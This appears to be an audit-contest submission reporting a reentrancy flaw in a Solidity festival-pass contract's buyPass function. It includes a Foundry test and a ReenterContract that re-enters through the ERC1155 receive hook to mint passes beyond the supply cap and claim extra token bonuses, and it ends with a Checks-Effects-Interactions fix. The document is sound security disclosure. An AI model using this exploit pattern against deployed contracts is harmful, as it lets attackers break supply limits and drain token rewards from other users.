Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in `buyPass` Allows Bypassing of Pass Supply Cap

Reentrancy in buyPass Allows Bypassing of Pass Supply Cap

Description

  • The buyPass function allows users to buy a festival pass, up to the maximum supply cap for each type (general, VIP, backstage).

  • However, the passSupply is incremented after the external call within _mint. An attacker's contract can use the onERC1155Received hook, which is triggered by _mint, to call buyPass again before the supply is updated, thus bypassing the maxSupply check.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

An attacker calls buyPass from a custom contract that implements a malicious onERC1155Received hook.

Impact:

  • Bypassing the maxSupply breaks a core protocol invariant. When limited passes are no longer scarce, their value is reduced for legitimate holders.

  • The attacker can claim an unfair amount of the BEAT token welcome bonuses, negatively impacting the protocol's token economy.

Proof of Concept

The following test shows an attacker buying 101 backstage passes when the intended limit was 100.

Add the followings to FestivalPass.t.sol. Running forge test --mt test_Audit_BuyPassReentrancy -vv shows the output proving the supply exceeds the cap.

// in FestivalPassTest contract
function test_Audit_BuyPassReentrancy() public {
address attacker = makeAddr("attacker");
uint256 backStageCollectionId = 3;
// Backstage 0.25 ETH * max 100 = 25 ETH
vm.deal(attacker, 30 ether);
vm.startPrank(attacker);
ReenterContract r = new ReenterContract(
festivalPass,
backStageCollectionId,
BACKSTAGE_PRICE
);
payable(r).transfer(30 ether);
// Attacker buys 100 + 1 backstage pass in one tx
r.exploit(BACKSTAGE_MAX_SUPPLY + 1);
vm.stopPrank();
// A legitimate user then fails to buy a backstage pass
vm.prank(user1);
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: BACKSTAGE_PRICE}(backStageCollectionId);
uint256 maxSupply = festivalPass.passMaxSupply(backStageCollectionId);
uint256 passSupply = festivalPass.passSupply(backStageCollectionId);
assertLt(maxSupply, passSupply);
// supply cap: 100 / real supply: 101
console.log("supply cap: %s / real supply: %s", maxSupply, passSupply);
}
contract ReenterContract {
FestivalPass immutable fp;
uint256 immutable ID;
uint256 immutable PRICE;
uint256 counter;
constructor(FestivalPass _fp, uint256 _ID, uint256 _PRICE) {
fp = _fp;
ID = _ID;
PRICE = _PRICE;
}
receive() external payable {}
function exploit(uint256 _counter) external {
counter = _counter;
buyPass();
}
function buyPass() public {
if (counter > 0) {
counter--;
fp.buyPass{value: PRICE}(ID);
}
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external returns (bytes4) {
buyPass();
return bytes4(0xf23a6e61);
}
}

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern. Update the passSupply state variable (Effect) before the _mint call (Interaction).

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 28 days ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.